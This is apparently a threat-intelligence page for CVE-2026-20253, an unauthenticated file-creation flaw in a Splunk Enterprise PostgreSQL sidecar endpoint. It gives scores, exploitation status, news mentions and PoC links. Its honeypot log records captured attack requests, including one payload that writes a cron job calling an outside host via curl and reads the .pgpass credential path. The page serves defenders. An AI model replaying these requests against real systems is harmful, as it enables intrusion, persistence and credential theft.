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9.8
CVSS
Critical

CVE-2026-20253

PUBLISHED

Unauthenticated Arbitrary File Creation and Truncation in a PostgreSQL Sidecar Service Endpoint in Splunk Enterprise

Not yet in CISA KEV

Exploited in the wild Active exploitation observed PoC available Remote Low complexity No user interaction Unauthenticated
Vendor
Splunk
Product
Splunk Enterprise, Splunk Cloud Platform
Published
Jun 10, 2026
EPSS
0.1% · 21% pctl

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Description

In Splunk Enterprise versions below 10.2.4 and 10.0.7, and Splunk Cloud Platform versions below 10.4.2604.3 and 10.2.2510.14, an unauthenticated user could create or truncate arbitrary files through a PostgreSQL sidecar service endpoint.The vulnerability exists because the PostgreSQL sidecar service endpoint lacks authentication controls, allowing any network-reachable user to invoke file operations without credentials.

postgresql

Weaknesses (CWE)

  • CWE-306

    Missing Authentication for Critical Function

CVSS Scores

CVSS v3.1 9.8 Critical

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Exploitation Status

Exploited in the wild

Recorded 2026-06-15 05:15:25 UTC · KEVIntel

Active exploitation observed

Recorded 2026-06-15 05:15:25 UTC · KEVIntel sensor

Proof of concept available

Recorded 2026-06-12 10:04:32 UTC · GitHub

Observed Exploitation Attempts

Exploitation attempts against this vulnerability observed first-hand by KEVIntel private honeypots over the last 30 days.

High confidence Active exploitation observed
Attempts Observed
55
Unique Attacker IPs
11
Attacker Countries
🇫🇷 🇭🇰 🇰🇷 🇸🇬 🇺🇸 🇻🇳
Sensors Observed
2

Exploitation Attempts Over the Last 30 Days

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First observed 2026-06-15 05:15 UTC · Last observed 2026-06-15 16:25 UTC

Recent Attempts

Showing observations from the last 30 days.

Attack Time Attacker Sensor Request Confidence Raw Event
2026-06-15 05:16 UTC
about 15 hours ago
🇺🇸 45.198.224.26
United States
Seen 11 times
🇪🇺 Splunk Enterprise
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup
python-requests/2.31.0
 High
View
Attacker 45.198.224.26
🇺🇸 United States
Request POST /en-US/splunkd/__raw/v1/postgres/recovery/backup
User-Agent python-requests/2.31.0
Payload fingerprint sha256:f46b190bfac2bd8e7900a793287fc02664e22c45674e4827f284dee69388a930
Payload {"database": "search_metadata", "backupFile": "test"}
Source KEVIntel Honeypot
2026-06-15 05:16 UTC
about 15 hours ago
🇫🇷 62.210.127.48
Paris, Île-de-France, France
Seen 4 times
🇪🇺 Splunk Enterprise
POST /en-US/splunkd/__raw/v1/postgres/recovery/restore
python-requests/2.34.0
 High
View
Attacker 62.210.127.48
🇫🇷 Paris, Île-de-France, France
Request POST /en-US/splunkd/__raw/v1/postgres/recovery/restore
User-Agent python-requests/2.34.0
Payload fingerprint sha256:d577b52cb0f0baed88dae23a1057fc4d8ddde7a18013ae27ceb5970b60bba745
Payload {"database": "search_metadata", "backupFile": "/var/spool/cron/crontabs/splunk", "passfile": "/opt/splunk/var/packages/data/postgres/.pgpass", "_raw": "* * * * * curl http://thi9a5fw.requestrepo.com\n"}
Source KEVIntel Honeypot
2026-06-15 05:16 UTC
about 15 hours ago
🇺🇸 45.198.224.26
United States
Seen 11 times
🇪🇺 Splunk Enterprise
POST /en-US/splunkd/__raw/v1/postgres/recovery/restore
curl/8.5.0
 High
View
Attacker 45.198.224.26
🇺🇸 United States
Request POST /en-US/splunkd/__raw/v1/postgres/recovery/restore
User-Agent curl/8.5.0
Payload fingerprint sha256:0d15e0d69981a532a4817417a639cb6c2f5625b083a38c035243838749007ee6
Payload { database\:\search_metadata\,\backupFile\:\test\}
Source KEVIntel Honeypot
2026-06-15 05:15 UTC
about 15 hours ago
🇺🇸 45.198.224.26
United States
Seen 11 times
🇪🇺 Splunk Enterprise
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup
curl/8.5.0
 High
View
Attacker 45.198.224.26
🇺🇸 United States
Request POST /en-US/splunkd/__raw/v1/postgres/recovery/backup
User-Agent curl/8.5.0
Payload fingerprint sha256:acc736d13c18bc5d84377f3a89fca3758c68f8789cb41863c112573c2e084b38
Payload {\database\:\hostaddr=45.198.224.26 dbname=pwn\,\backupFile\:\/tmp/poc\}
Source KEVIntel Honeypot
2026-06-15 05:15 UTC
about 15 hours ago
🇺🇸 45.198.224.26
United States
Seen 11 times
🇪🇺 Splunk Enterprise
POST /en-US/splunkd/__raw/v1/postgres/recovery/backup
curl/8.5.0
 High
View
Attacker 45.198.224.26
🇺🇸 United States
Request POST /en-US/splunkd/__raw/v1/postgres/recovery/backup
User-Agent curl/8.5.0
Payload fingerprint sha256:150bf2cee9904dd1f9f5eaae3637ac985a8d3073249c660a2763b71835df038f
Payload { database\:\search_metadata\,\backupFile\:\test\}
Source KEVIntel Honeypot

References

Known Exploited Vulnerability Sources

Catalogues that list this CVE as a known exploited vulnerability.

Source Added
KEVIntel First 2026-06-15 05:15 UTC

Scanner Integrations

Scanner Reference Detected
Nuclei https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-20253.yaml Jun 15, 2026

Recent Mentions

Critical Splunk Enterprise Flaw Lets Attackers Run Code Without Authentication

TheHackerNews · Jun 13, 2026

Splunk has released security updates to address a critical security flaw in Splunk Enterprise that could be exploited to conduct unauthenticated file operations and even remote code execution. The vulnerability, tracked as CVE-2026-20253, is rated 9.8 on the CVSS scoring system. "In Splunk Enterprise versions below 10.2.4 and 10.0.7, an unauthenticated user could create or truncate arbitrary

Why Use App-Level Auth When Every Database Has Auth? (Splunk Enterprise CVE-2026-20253 Pre-Auth RCE)

Watchtower Labs · Jun 12, 2026

Three posts? In three days? Are we insane?We're home alone, there's no one to stop us, and we're up past bedtime. So, we need to talk about Splunk. On June 10th, Splunk published this CVE-2026-20253 advisory:It has everything that we

Potential Proof of Concepts

These PoCs are unverified and could contain malware. Use at your own risk.

HORKimhab/CVE-2026-20253

github · Created 2026-06-14 04:18:18 UTC · 0 stars

CVE-2026-20253 - Draft

0xBlackash/CVE-2026-20253

github · Created 2026-06-13 18:09:32 UTC · 0 stars

CVE-2026-20253

watchtowrlabs/watchTowr-vs-Splunk-CVE-2026-20253

github · Created 2026-06-12 10:04:32 UTC · 2 stars

Splunk Enterprise & Cloud Platform - Unrestricted File Upload

nuclei · Created Unknown

Timeline

  • Added to KEVIntel

  • Detected by Nuclei

  • Proof of Concept Exploit Available

  • CVE Published to Public

  • CVE ID Reserved